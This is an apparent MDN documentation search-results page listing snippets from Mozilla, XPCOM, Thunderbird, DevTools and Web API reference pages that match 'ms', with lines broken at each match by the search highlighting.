current folder, where this separator should be moved to (i.e., this separator would be inserted into the bookmark list at the position of the named bookmark, causing that bookmark to be positioned below this separator) example: { separator: true } bookmark lists and phase actions following are the functions you can use in phase actions related to bookmarks: bookmarks.add - the bookmark ite
ms in the list are added to the end of their parent folder in the specified order.
...bookmarks.verify - the bookmark ite
ms in the list are verified to be present.
...however, because crossweave verifies that bookmark ite
ms appear in the order that they are given in the asset list, after and before are not very useful except in verifying the position of the first item in the list.
...And 2 more matches
Redis Tips
and you'll probably find proble
ms like that long before you go into production.
... you might use psubscribe in a case where you have message channels named according to application namespaces, as different modules or logging syste
ms might do.
... subscribe with one client: redis1> psubscribe log.* 1) "psubscribe" 2) "log.*" 3) (integer) 1 publish with another client: redis2> publish log.bacon yes publish log.bacon yes (integer) 1 see message received in first client: redis1> 1) "pmessage" 2) "log.*" 3) "log.bacon" 4) "yes" pubsub is useful for things like: chat progra
ms message passing among application components log routing from applications in multiple languages it's good stuff.
...And 2 more matches
Secure Development Guidelines
ave to be > 512, cut it off there if the input should only be [a-za-z0-9], enforce it cross site scripting (xss) xss is a type of code injection attack typically occurs in web applications injection of arbitrary data into an html document from another site victim’s browser executes those html instructions could be used to steal user credentials think: webmail, online auction, c
ms, online banking...
... it would lead to a double free race conditions: prevention be very careful when working with threads, the file system, or signals track down shared resources and lock them accordingly for signal handlers never use non-atomic operations longjmp() is a sign of badness even exit() could cause proble
ms, but _exit() is okay deadlocks and locking issues locks are used when dealing with threads acquiring more than one lock to perform an action if a second thread acquires the same locks but in a different order, it causes denial of service since both threads will be waiting forever deadlocks and locking issues example func_a() { lock(locka); lock(lockb); ...
... unlock(locka); unlock(lockb); } writing secure code: good coding practices banned api list badly designed apis can often lead to vulnerabilities it’s too easy to use the api inappropriately for example, consider the libc string handling apis strcpy() perfor
ms no bounds checking strncpy() doesn’t always 0-terminate strncat() length parameter is very confusing banned api list examples of incorrect strncat usage buffer overflow strncat(buffer, string, sizeof(buffer)); off-by-one strncat(buffer, string, sizeof(buffer) – strlen(string)); correct usage strncat(buffer, string, sizeof(buffer) – strlen(string)...
...And 2 more matches
Handling Mozilla Security Bugs
note that the focus of this new structure is restricted solely to addressing actual security vulnerabilities arising from proble
ms in mozilla code.
... background security vulnerabilities are different from other bugs, because their consequences are potentially so severe: users' private information (including financial information) could be exposed, users' data could be destroyed, and users' syste
ms could be used as platfor
ms for attacks on other syste
ms.
...in particular, we understand and acknowledge the concerns of those who believe that all information about security vulnerabilities should be publicly disclosed as soon as it is known, so that users may take immediate steps to protect the
mselves and so that proble
ms can get the maximum amount of developer attention and be fixed as soon as possible.
...And 2 more matches
Feed content access API
ces.nsiioservice); var uri = ioservice.newuri(feedurl, null, null); if (data.length) { var parser = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); var listener = new feedtestresultlistener(); try { parser.listener = listener; parser.parsefro
mstring(data, uri); } catch(e) { alert("error parsing feed."); } } } httprequest = new xmlhttprequest(); httprequest.open("get", feedurl, true); try { httprequest.onload = inforeceived; httprequest.send(null); } catch(e) { alert(e); } } the nsifeedprocessor interface lets you parse the feed data from several p...
...ossible sources; in this case, we're loading a document into a string, then parsing that string using its parsefro
mstring() method.
... however, you could also parse it from a file using parsefro
mstream(), or directly from an url using parseasync().
...And 2 more matches
XPCOM array guide
void processvisibleite
ms() { // temporary stack-based nscomarray nscomarray<nsifoo> fooite
ms; getcompletelist(fooite
ms); // now filter out non visible objects // doing this backwards pruint32 i = fooite
ms.count(); while (i > 0) { --i; prbool isvisible; fooite
ms[i]->getisvisible(&isvisible); if (!isvisible) { fooite
ms.removeobjectat(i); } } // now deal with the processed list ...
... processlist(fooite
ms); // fooite
ms will release all its members // when it goes out of scope } access to elements nscomarray<t> is a concrete c++ class, and so the [] operator is used to access its members.
...this lets you delete multiple objects from the array at once by specifying the index to the first item to delete as well as the number of ite
ms to delete.
...And 2 more matches
Avoiding leaks in JavaScript XPCOM components
progra
ms should not dereference pointers pointing to memory that has been returned to the heap (and potentially reused).
... garbage collection garbage collection is generally used to refer to algorith
ms that (1) determine which objects are still needed by starting from a set of roots and finding all objects reachable from those objects and (2) returning all remaining objects to the heap.
...mozilla's javascript engine uses one of the most common garbage collection algorith
ms, mark and sweep, in which the garbage collector clears the mark bit on each object, sets the mark bits on all roots and all objects reachable from them, and then finalizes all objects not marked and returns the memory they used to the heap.
...And 2 more matches
Setting up the Gecko SDK
the sdk is available for windows, linux, and mac operating syste
ms, and versions for other operating syste
ms are being developed, and can be retrieved from as a single archive from the following platform-specific locations (need correction for last version (now 1.9.2.8).
...including this header file in your project ensures that the component you create uses the same defines as the gecko libraries the
mselves.
...as described in the section exceptions in xpcom, exception handling isn't supported across interface boundaries, so setting this option may catch proble
ms during development.
...And 2 more matches
XPCOM hashtable guide
a hashtable is a data construct that stores a set of ite
ms.
...ite
ms are found, added, and removed from the hashtable by using the key.
... inserting/removing: o(n): adding and removing ite
ms from a large array can be time-consuming o(1): adding and removing ite
ms from hashtables is a quick operation wasted space: none: arrays are packed structures, so there is no wasted space.
...And 2 more matches
nsIAccessNode
method overview nsiaccessnode getchildnodeat(in long childnum); obsolete since gecko 2.0 nsidomcssprimitivevalue getcomputedstylecssvalue(in do
mstring pseudoelt, in do
mstring propertyname); do
mstring getcomputedstylevalue(in do
mstring pseudoelt, in do
mstring propertyname); void scrollto(in unsigned long ascrolltype); void scrolltopoint(in unsigned long acoordinatetype, in long ax, in long ay); attributes note: attempting to access the attributes of a node that is unattached from the accessible tree wil...
...obsolete since gecko 2.0 innerhtml do
mstring the innerhtml for the dom node this is a text string of all the markup inside the dom node, not including the start and end tag for the node.
... language do
mstring the language for the current dom node, for example en, de, and so on.
...And 2 more matches
nsIAccessibleStates
constants state constants
msaa state flags - used for bitfield.
...for example, menu ite
ms are programmatically hidden until a user activates the menu.
...in this case, the client application can communicate all ite
ms in the list to users.
...And 2 more matches
nsIAnnotationService
n, out autf8string amimetype, out unsigned short atype); pruint16 getpageannotationtype(in nsiuri auri, in autf8string aname); pruint16 getitemannotationtype(in long long aitemid, in autf8string aname); void getpageswithannotation(in autf8string name, [optional] out unsigned long resultcount, [retval, array, size_is(resultcount)] out nsiuri results); void getite
mswithannotation(in autf8string name, [optional] out unsigned long resultcount, [retval, array, size_is(resultcount)] out long long results); void getpageannotationnames(in nsiuri auri, [optional] out unsigned long count, [retval, array, size_is(count)] out nsivariant result); void getitemannotationnames(in long long aitemid, [optional] out unsigned long count, [retval, array, size...
... getite
mswithannotation() this method returns a list of all ite
ms having a given annotation.
... void getite
mswithannotation( in autf8string name, [optional] out unsigned long resultcount, [retval, array, size_is(resultcount)] out long long results ); parameters name the annotation name.
...And 2 more matches
nsICommandController
to create an instance, use: var commandcontroller = components.classes["@mozilla.org/embedcomp/base-command-controller;1"] .createinstance(components.interfaces.nsicommandcontroller); method overview void docommandwithpara
ms(in string command, in nsicommandpara
ms acommandpara
ms); void getcommandstatewithpara
ms( in string command, in nsicommandpara
ms acommandpara
ms); methods docommandwithpara
ms() executes the specified command with a set of parameters contained in an nsicommandpara
ms object.
... void docommandwithpara
ms( in string command, in nsicommandpara
ms acommandpara
ms ); parameters command the command to execute.
... acommandpara
ms the parameters.
...And 2 more matches
nsICryptoHMAC
netwerk/base/public/nsicryptohmac.idlscriptable this interface provides hmac signature algorith
ms.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview acstring finish(in prbool aascii); void init(in unsigned long aalgorithm, in nsikeyobject akeyobject); void reset(); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefro
mstream(in nsiinputstream astream, in unsigned long alen); constants hashing algorith
ms.
...to create the key object use for instance: var keyobject = components.classes["@mozilla.org/security/keyobjectfactory;1"] .getservice(components.interfaces.nsikeyobjectfactory) .keyfro
mstring(components.interfaces.nsikeyobject.hmac, rawkeydata); exceptions thrown ns_error_invalid_arg if an unsupported algorithm type is passed.
...And 2 more matches
nsIDBFolderInfo
mailnews/db/
msgdb/public/nsidbfolderinfo.idlscriptable ???
...in long flags); void setbooleanproperty(in string propertyname, in boolean apropertyvalue); void setcharacterset(in string charset); void setcharactersetoverride(in boolean charactersetoverride); obsolete since gecko 1.8 void setcharptrproperty(in string apropertyname, in string apropertyvalue); void sethighwater(in ns
msgkey highwater, in boolean force); void setlocale(in nsstring locale); native code only!
...obsolete since gecko 1.8 void setproperty(in string propertyname, in astring propertystr); void setuint32property(in string propertyname, in unsigned long propertyvalue); attributes attribute type description charactersetoverride boolean expiredmark ns
msgkey expungedbytes long flags long folderdate unsigned long foldername string foldersize unsigned long highwater ns
msgkey imaphierarchyseparator wchar imaptotalpendin...
...And 2 more matches
nsIDOMChromeWindow
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void beginwindowmove(in nsidomevent mousedownevent); void getattention(); void getattentionwithcyclecount(in long acyclecount); void maximize(); void minimize(); void notifydefaultbuttonloaded(in nsidomelement defaultbutton); void restore(); void setcursor(in do
mstring cursor); attributes attribute type description browserdomwindow nsibrowserdomwindow the related nsibrowserdomwindow instance which provides access to yet another layer of utility functions by chrome script.
... title do
mstring obsolete since gecko 1.9.1 windowstate unsigned short returns current window state, the value is one of state_* constants.
... methods beginwindowmove() on some operating syste
ms, we must allow the window manager to handle window dragging.
...And 2 more matches
getFile
available on all platfor
ms these symbolic names are available on all platfor
ms (although, of course, they may refer to different physical paths on the storage device).
... ns_xpcom_component_dir "co
msd" ns_xpcom_component_dir_list "co
msdl" ns_xpcom_component_registry_file "comregf" ns_xpcom_xpti_registry_file "xptiregf" ns_xpcom_library_file "xpcomlib" ns_gre_dir "gred" note: on mac os x, up through firefox 34 this is the contents/macos directory within the application's bundle.
... ns_gre_component_dir "greco
msd" platform-specific locations some symbolic names represent platform-specific locations.
...And 2 more matches
nsIFeedProcessor
to create an instance, use: var feedprocessor = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); method overview void parseasync(in nsirequestobserver requestobserver, in nsiuri uri); void parsefro
mstream(in nsiinputstream stream, in nsiuri uri); void parsefro
mstring(in astring str, in nsiuri uri); attributes attribute type description listener nsifeedresultlistener the feed result listener that will respond to feed events.
... parsefro
mstream() parses a feed from an nsiinputstream.
... void parsefro
mstream( in nsiinputstream stream, in nsiuri uri ); parameters stream pointer to the nsiinputstream from which to read and parse the feed.
...And 2 more matches
nsIInstallLocation
itemlocations nsidirectoryenumerator an enumeration of nsifiles for: locations that contain ite
ms potential dropped-in xpis note: this enumeration resolves text links to the directories they refer to.
... location nsifile the file system location where ite
ms live.
... ite
ms can be dropped in at this location.
...And 2 more matches
nsILocalFile
by default, this value is false on all non-unix syste
ms.
... as of mozilla 1.7, this attribute is ignored on unix syste
ms.
... persistentdescriptor acstring on some platfor
ms, the value of nsifile.path may be insufficient to uniquely identify the file on the local file system.
...And 2 more matches
nsIMacDockSupport
the application should call this to activate itself when one of its dock menu ite
ms are selected, since doing so does not automatically activate the application.
... about dockmenu by default firefox adds two menu ite
ms to the dock menu.
... the menu ite
ms are "new window" and "new private window".
...And 2 more matches
nsINavBookmarkObserver
when a new item is created, all the ite
ms following it in the same folder will have their index shifted down, but no additional notifications will be sent.
... anewvalue the ite
ms new value, if required by the property specified by aproperty.
... alastmodified the value to set the ite
ms last modified time to, or 0 if the value should remain unchanged.
...And 2 more matches
nsIOutputStream
note: blocking output strea
ms are often written to on a background thread to avoid locking up the main application thread.
... method overview void close(); void flush(); boolean isnonblocking(); unsigned long write(in string abuf, in unsigned long acount); unsigned long writefrom(in nsiinputstream afro
mstream, in unsigned long acount); unsigned long writesegments(in nsreadsegmentfun areader, in voidptr aclosure, in unsigned long acount); native code only!
... unsigned long writefrom( in nsiinputstream afro
mstream, in unsigned long acount ); parameters afro
mstream an nsiinputstream containing the data to be written.
...And 2 more matches
nsIStringBundle
method overview wstring formatstringfromid(in long aid, [array, size_is(length)] in wstring para
ms, in unsigned long length); wstring formatstringfromname(in wstring aname, [array, size_is(length)] in wstring para
ms, in unsigned long length); nsisimpleenumerator getsimpleenumeration(); wstring getstringfromid(in long aid); wstring getstringfromname(in wstring aname); methods formatstringfromid() returns a formatted string with the given id from the ...
... wstring formatstringfromid( in long aid, [array, size_is(length)] in wstring para
ms, in unsigned long length ); parameters aid the id of the string to retrieve.
... para
ms parameters to pass in to the string.
...And 2 more matches
nsIWebSocketChannel
websocketchannel = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsiwebsocketchannel); method overview void asyncopen(in nsiuri auri, in acstring aorigin, in nsiwebsocketlistener alistener, in nsisupports acontext); void close(in unsigned short acode, in autf8string areason); void sendbinary
msg(in acstring a
msg); void send
msg(in autf8string a
msg); attributes attribute type description extensions acstring sec-websocket-extensions response header value.
... sendbinary
msg() sends a binary message to the websocket peer.
... void sendbinary
msg( in acstring a
msg ); parameters a
msg the data to send.
...And 2 more matches
nsIZipWriter
note: although it is not necessary to add directory entries in order to add file entries within them, some zip utilities may have proble
ms with that, so it may be best to add the directory entries explicitly first.
... note: although it is not necessary to add directory entries in order to add file entries within them, some zip utilities may have proble
ms with that, so it may be best to add the directory entries explicitly first.
... processqueue() processes all queued ite
ms until the entire queue has been processed or an error occurs.
...And 2 more matches
nsPIPromptService
the indexes for getstring() and setstring() are: e
msg the value is 0.
...echeckbox
msg the value is 1.
...eeditfield1
msg the value is 4.
...And 2 more matches
Troubleshooting XPCOM components registration
note that even your version of
msvc may matter; your test machine may not have the c runtime libraries (
msvcr70.dll /
msvcp70.dll for
msvc 7.0, and similarly named files for 7.1 and 8.0) available.
... this even means that if you are using a component stub, the stub needs to be compiled using a version which the machine does support; most likely this means
msvc 6.0.
... if you compiled the component with
msvc 8.0 (2005) and are attempting to use it on a windows xp machine or later, it will need a manifest embedded to find the runtime.
...And 2 more matches
xptcall FAQ
it may also be used by other subsyste
ms in the future.
... the core invoke function has the declaration: xptc_public_api(nsresult) xptc_invokebyindex(nsisupports* that, pruint32 methodindex, pruint32 paramcount, nsxptcvariant* para
ms); nsxptcvariant is a discriminated union of the types that can be passed as parameters to the target function (including void* to represent arbitrary pointer types).
... this all works and is being used in mozilla today on numerous platfor
ms.
...And 2 more matches
XPIDL
dictionaries, enu
ms, and unions), are not currently supported.
... constants are emitted in header files using anonymous enu
ms, although there is an outstanding patch that combines adjacent constants into the same anonymous enu
ms to quiet enum mismatch warnings.
...however, it is generally not recommended to have a chain of interfaces inheriting from each other if you intend to have a chain of implementations for each interface, as it can cause proble
ms in c++ code.
...And 2 more matches
XUL Overlays
though there is no formal restriction on what kind of xul content is located in "base" xul files and what kind should be put in overlays, xul overlays generally define ite
ms that are not present in the basic versions of the ui, such as additional components.
...the installation of a media plug-in, for example, may add new icons and menu ite
ms to the interface: in the navigatoroverlay.xul file or in a separate navigatorsspoverlay.xul file (where navigator.xul defines the basic ui for the navigator package), these new plug-in elements would be defined as a collection of elements or subtrees: <menuitem name="super stream player"/> <menupopup name="ss favorites"> <menuitem name="wave" src="mavericks.ssp"/> <menuitem name="soccer" src="brazil_soccer.ssp"/> </menupopup> <titledbutton id="ssp" crop="right" flex="1" value="&ssbutton.label;" onclick="firessp()"/> overlays and id attributes ba...
...the layout engine loads any overlay files and then flows the resulting xul document, so proble
ms associated with incremental insertion in menus, boxes, tables, and for
ms are avoided.
...And 2 more matches
Address book sync client design
* * atransactionid - the id for this particular request * astatus - status code for the sync request * a
msg - a text string describing the error (if any).
... */ void onstopauthoperation(in nsresult astatus, in wstring a
msg, in string acookie); /** * notify the observer that the ab sync operation has begun.
... this method is * called only once, at the beginning of a sync transaction * */ void onstartoperation(in print32 atransactionid, in pruint32 a
msgsize); /** * notify the observer that progress as occurred for the ab sync operation */ void onprogress(in print32 atransactionid, in pruint32 aprogress, in pruint32 aprogressmax); /** * notify the observer with a status message for sync operation */ void onstatus(in print32 atransactionid, in wstring a
msg); /** * notify the observer that the ab sync operation has been completed.
...And 2 more matches
Autoconfiguration in Thunderbird
mechanis
ms thunderbird gets the server settings via different means, each of which is intended for different cases: ispdb the ispdb is a central database, currently hosted by the thunderbird project, but free to use for any client.
... configuration server at isp isps have the option to provide their configuration information the
mselves directly to users, by setting up a web server at autoconfig.<domain>, which simply returns a static xml file with the configuration, as described below.
... guessing if all other mechanis
ms failed, thunderbird tries to guess the configuration, by trying common server names like imap.<domain>, smtp.<domain>, mail.<domain> etc., and, when a mail server answers, checking whether it supports ssl, starttls and encrypted passwords (cram-md5).
...And 2 more matches
Filelink Providers
nsi
msgcloudfileprovider note: cloudfiles and bigfiles were the two temporary feature names that were used while filelink was under construction.
... filelink storage providers must implement the nsi
msgcloudfileprovider interface.
... the nsi
msgcloudfileprovider implementation must be registered as a component.
...And 2 more matches
MailNews Protocols
those protocols all have the following, defined in the corresponding protocol subdirectory of mailnews (i.e., mailnews/imap, mailnews/local (for pop3), mailnews/news): an incoming server class, which implements nsi
msgincomingserver and inherits from mailnews/base/util/ns
msgincomingserver, i.e.., nspop3incomingserver, nsimapincomingserver, nsnntpincomingserver.
... a folder class, which implements nsi
msgfolder, and inherits from ns
msgdbfolder.
...the service classes usually have their own interface, but they also implement nsi
msgmessageservice.
...And 2 more matches
Message Interfaces
nsi
msghdr nsi
msghdr - this interface describes headers for all mail messages.
...nsi
msgdbhdr nsi
msgdbhdr - this interface describes headers for mail messages.
... it is a child of nsi
msghdr (see above).
...And 2 more matches
Activity Manager examples
ager const nsiap = components.interfaces.nsiactivityprocess; const nsiae = components.interfaces.nsiactivityevent; const nsiam = components.interfaces.nsiactivitymanager; let gactivitymanager = components.classes["@mozilla.org/activity-manager;1"].getservice(nsiam); let process = components.classes["@mozilla.org/activity-process;1"].createinstance(nsiap); // assuming folder is an instance of nsi
msgfolder interface // localization is omitted, initiator is not provided process.init("processing folder: " + folder.prettiestname, null); // note that we don't define a custom icon, default process icon // will be used process.contexttype = "account"; // group this activity by account process.contextobj = folder.server; // account in question gactivitymanager.addactivity(proces...
...opyeventundo, nsiactivityundohandler) ns_imethodimp mycopyeventundo::undo(nsiactivityevent *event, nsresult *result) { nsresult rv; // get the subjects of this copy event pruint32 length; nsivariant **subjectlist; rv = event->getsubjects(&length, &subjectlist); if(ns_failed(rv)) return rv; // first subject in the list is the source folder in this particular case nscomptr<nsi
msgfolder> folder = do_queryinterface(subjectlist[0]); // get the initiator nsivariant *initiator; event->getinitiator(&initiator); if (initiator) { nsisupports* ptr; rv = object->getasisupports(&ptr); if(ns_failed(rv)) return rv; nscomptr<nsi
msgcopyservice> copyservice = do_queryinterface(ptr); if (copyservice) copyservice->undo(folder); } return (*...
...t in a nsvariant component nscomptr<nsiwritablevariant> srcfolder = do_createinstance(ns_variant_contractid); srcfolder->setasisupports(reinterpret_cast<nsisupports*>(imapfolder)); copyevent->addsubject(srcfolder); copyevent->init(ns_literal_string("message copy event"), initiator, ns_literal_string("completed successfully"), pr_now() / pr_usec_per_
msec, // start time pr_now() / pr_usec_per_
msec); // completion time // do not forget to increase the ref counter if needed copyevent->setundohandler(undohandler); //////////////////////////////////////////////////////////////// //// adding the event into activity manager nscomptr<nsiactivitymanager> activitymgr(do_getservice("@mozilla.org/activity-manager;1")); pruint32 id; a...
...And 2 more matches
Working with ArrayBuffers
])" myimgdat.data.set(casted); the ctypes.cast takes a couple of milliseconds, however, the myimgdat.data.set takes up to 800
ms for a size of 52,428,800 (which is image size of 1280 x 1024 pixels).
... so, for the size of 640,000 it takes about 98
ms.
...however, the manual method a, in the preceding example, takes ~1300
ms.
...And 2 more matches
ctypes
similar to errno in libc, available on all platfor
ms.
... predefined data types primitive types these types behave the same on all platfor
ms.
... note this automatically converts to an int64 javascript object on all platfor
ms, since it's unknown whether this is a 32-bit or 64-bit value.
...And 2 more matches
Debugger.Memory - Firefox Developer Tools
it can compute a census of ite
ms belonging to the debuggee, categorizing ite
ms in various ways, and yielding item counts.
... censuses a census is a complete traversal of the graph of all reachable memory ite
ms belonging to a particular debugger‘s debuggees.
... it produces a count of those ite
ms, broken down by various criteria.
...And 2 more matches
Network request list - Firefox Developer Tools
(starting in firefox 80) on the right edge of the file column, a turtle icon appears if the server waiting time exceeds a threshhold (default: 500
ms).
... (starting with firefox 77) right-click any item in the list and choose from the context menu: enable all enables blocking of all ite
ms in the list.
... disable all disables blocking of all ite
ms in the list.
...And 2 more matches
Flame Chart - Firefox Developer Tools
the screenshot above covers the period from 1435
ms to a little past 1465
ms.
...we'll use the same example as in the call tree page: a program that compares three different sorting algorith
ms.
... let's zoom in: this slice is about 140
ms long, and shows us more details of the functions being called by sort().
...And 2 more matches
Frame rate - Firefox Developer Tools
a frame rate of 60fps is the target for smooth performance, giving you a time budget of 16.7
ms for all the updates needed in response to some event.
...it gives you a quick indication of where your site might be having proble
ms, enabling you to use the other tools for a more in-depth analysis.
... a frame rate of 60fps is reckoned to be the target for smooth performance, giving you a time budget of 16.7
ms for all the updates that need to be made synchronously in response to some event.
...And 2 more matches
BudgetService - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbudgetservice experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
... sa
msung internet android full support 6.0getbudget experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
... sa
msung internet android full support 6.0getcost experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
...And 2 more matches
CryptoKeyPair - Web APIs
a cryptokeypair object can be obtained using subtlecrypto.generatekey(), when the selected algorithm is one of the asymmetric algorith
ms: rsassa-pkcs1-v1_5, rsa-pss, rsa-oaep, ecdsa, or ecdh.
...for encryption and decryption algorith
ms, this key is used to decrypt.
... for signing and verification algorith
ms it is used to sign.
...And 2 more matches
DOMHighResTimeStamp - Web APIs
in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20 µs in firefox 59; in 60 it will be 2
ms.
... // reduced time precision (2
ms) in firefox 60 event.timestamp // 1519211809934 // 1519211810362 // 1519211811670 // ...
... in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100
ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
...And 2 more matches
DataTransferItemList.DataTransferItem() - Web APIs
the datatransferitem() getter method implements support for accessing ite
ms in the datatransferitemlist using array-style syntax (that is datatransferitem[index]).
...if the index is less than zero or greater than or equal to the number of ite
ms in the list (as indicated by the list's length property, undefined is returned.
... javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.ite
ms; datalist.add(ev.target.id, "text/plain"); // add some other ite
ms to the drag payload datalist.add("<p>...
...And 2 more matches
DataTransferItemList.length - Web APIs
the read-only length property of the datatransferitemlist interface returns the number of ite
ms currently in the drag item list.
... syntax length = datatransferitemlist.length; value the number of drag data ite
ms in the list, or 0 if the list is empty or disabled.
... javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.ite
ms; datalist.add(ev.target.id, "text/plain"); // add some other ite
ms to the drag payload datalist.add("<p>...
...And 2 more matches
FileList - Web APIs
using the file list all <input> element nodes have a files attribute of type filelist on them which allows access to the ite
ms in this list.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfilelistchrome full support 1edge full support 12firefox full support 3ie full support 10opera full support 11.1safari full support ...
... 4webview android full support 1chrome android full support 18firefox android full support 4opera android full support 11.1safari ios full support 3.2sa
msung internet android full support 1.0itemchrome full support yesedge full support 12firefox full support yesie ?
...And 2 more matches
FontFace.display - Web APIs
syntax var display = fontface.display fontface.display = display value a csso
mstring with one of the following values.
...the spec recommends 100
ms or less for the block period and 3 seconds for the swap period, though these values may vary from browser to browser.
...the spec recommends 100
ms or less, though this may vary from browser to browser.
...And 2 more matches
HTMLImageElement.srcset - Web APIs
the htmlimageelement property srcset is a string which identifies one or more image candidate strings, separated using commas (,) each specifying image resources to use under given circu
mstances.
...this is followed by a comma (,) character and then a condition descriptor that indicates the circu
mstances in which the indicated image should be used.
...otherwise, the condition descriptor may take one of two for
ms: to indicate that the image resource specified by the image candidate string should be used when the image is being rendered with a particular width in pixels, provide a width descriptor comprised the number giving that width in pixels followed by the lower case letter "w".
...And 2 more matches
HTMLTableColElement - Web APIs
htmltablecolelement.align is a do
mstring that indicates the horizontal alignment of the cell data in the column.
... htmltablecolelement.ch is a do
mstring representing the alignment character for cell data.
... htmltablecolelement.choff is a do
mstring representing the offset for the alignment character.
...And 2 more matches
HTMLTableRowElement - Web APIs
htmltablerowelement.align is a do
mstring containing an enumerated value reflecting the align attribute.
... htmltablerowelement.bgcolor is a do
mstring containing the background color of the cells.
... htmltablerowelement.ch is a do
mstring containing one single character.
...And 2 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
tasks a task is any javascript code which is scheduled to be run by the standard mechanis
ms such as initially starting to run a program, an event callback being run, or an interval or timeout being fired.
... microtasks at first the difference between microtasks and tasks see
ms minor.
... warning: since microtasks can the
mselves enqueue more microtasks, and the event loop continues processing microtasks until the queue is empty, there's a real risk of getting the event loop endlessly processing microtasks.
...And 2 more matches
IDBFactory.open() - Web APIs
the method returns an idbopendbrequest object immediately, and perfor
ms the open operation asynchronously.
...window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.
msindexeddb; // don't use "var indexeddb = ..." if you're not in a function.
... // moreover, you may need references to some window.idb* objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.
msidbtransaction; window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.
msidbkeyrange; // (mozilla has never prefixed these objects, so we don't // need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened // successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db // v...
...And 2 more matches
IDBObjectStore.name - Web APIs
syntax idbobjectstore.name = mynewname; var myobjectstorename = idbobjectstore.name; value a do
mstring containing the object store's name.
...duplicate ite
ms not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.name); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml +...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnamechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...And 2 more matches
Long Tasks API - Web APIs
the 50
ms threshold comes from the rail model, in particular the "response: process events in under 50
ms" section.
... tasks that block the main thread for 50
ms or more cause, among other issues: delayed "time to interactive".
... concepts some key ter
ms or ideas that are utilized by the long tasks api.
...And 2 more matches
MediaDeviceInfo.deviceId - Web APIs
the deviceid readonly property of the mediadeviceinfo interface returns a do
mstring that is an identifier for the represented device and is persisted across sessions.
... syntax var deviceid = mediadeviceinfo.deviceid value a do
mstring.
... specifications specification status comment media capture and strea
msthe definition of 'deviceid' in that specification.
...And 2 more matches
MediaDeviceInfo - Web APIs
properties mediadeviceinfo.deviceidread only returns a do
mstring that is an identifier for the represented device that is persisted across sessions.
... mediadeviceinfo.groupidread only returns a do
mstring that is a group identifier.
... mediadeviceinfo.labelread only returns a do
mstring that is a label describing this device (for example "external usb webcam").
...And 2 more matches
MediaStreamAudioSourceNode - Web APIs
the mediastreamaudiosourcenode interface is a type of audionode which operates as an audio source whose media is received from a mediastream obtained using the webrtc or media capture and strea
ms apis.
... a mediastreamaudiosourcenode has no inputs and exactly one output, and is created using the audiocontext.createmediastrea
msource() method.
... number of inputs 0 number of outputs 1 channel count defined by the first audio mediastreamtrack passed to the audiocontext.createmediastrea
msource() method that created it.
...And 2 more matches
NotificationEvent - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnotificationevent experimentalchrome full support 42edge full support ≤18firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service...
... sa
msung internet android full support 4.0notificationevent() constructor experimentalchrome full support 42edge full support ≤18firefox full support 44notes full support 44note...
... sa
msung internet android full support 4.0action experimentalchrome full support 48edge full support ≤18firefox full support 44notes full support 44notes notes extended support ...
...And 2 more matches
PaymentRequest.PaymentRequest() - Web APIs
starting with more recent browsers, this parameter is more generic than credit cards, it is a single do
mstring, and the meaning of the data parameter changes with the supportedmethods.
... displayite
ms an array of optional line ite
ms for the payment request that the user agent may display, such as product details, tax, and shipping.
...this parameter contains the following fields: additionaldisplayite
ms an array of ite
ms to be appended to the details.displayite
ms property.
...And 2 more matches
Using the Payment Request API - Web APIs
the payment request api provides a browser-based method of connecting users and their preferred payment syste
ms and platfor
ms to merchants that they want to pay for goods and services.
...e required object parameters: function buildsupportedpaymentmethoddata() { // example supported payment methods: return [{ supportedmethods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard'], supportedtypes: ['debit', 'credit'] } }]; } function buildshoppingcartdetails() { // hardcoded for demo purposes: return { id: 'order-123', displayite
ms: [ { label: 'example item', amount: {currency: 'usd', value: '1.00'} } ], total: { label: 'total', amount: {currency: 'usd', value: '1.00'} } }; } starting the payment process once the paymentrequest object has been created, you call the paymentrequest.show() method on it to initiate the payment request.
... in the following snippet, a merchant page perfor
ms this check, and if it returns true updates the checkout button to use paymentrequest instead of legacy web for
